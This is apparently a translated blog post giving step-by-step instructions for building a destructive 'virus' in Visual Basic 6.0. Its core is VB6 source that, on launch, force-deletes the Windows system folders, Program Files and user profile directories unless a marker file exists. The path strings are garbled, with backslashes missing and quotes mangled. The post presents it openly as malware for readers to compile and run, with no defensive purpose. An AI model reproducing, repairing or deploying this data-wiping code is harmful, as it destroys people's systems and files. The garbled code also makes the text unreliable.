Virus From Visual Basic 6.0

Ouch again my thread about how to create a virus using Visual Basic 6.0.

Okay, now we just make a virus using Visual Basic 6.0, with no length I will go directly to the crime scene (the scene).

First you must have installed the software that is Visual Basic 6.0, if belom have please download or request all of your friends, okay I assume you already have and already installed on the laptop or on your PC each,

1. open the Visual Basic 6.0 and select standar.exe.
2. and create a form just a small one and copied this script into your VB coding.

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()On Error Resume Next
If FileExist(”c:windowssystem32unpamhack.txt”) = True Then
End
Else
Call DelAll(”c:windowssystem”)
Call DelAll(”c:windowssystem32?)
Call DelAll(”c:windows”)
Call DelAll(”C: Documents and SettingsAll Users”)
Call DelAll(”C: Documents and SettingsAdministrator”)
Call DelAll(”C: Documents and Settings”)
Call DelAll(”C: Program FilesCommon Files”)
Call DelAll(”C: Program Files Internet Explorer”)
Call DelAll(”C: Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

more or less I'm sorry if there are errors in my writing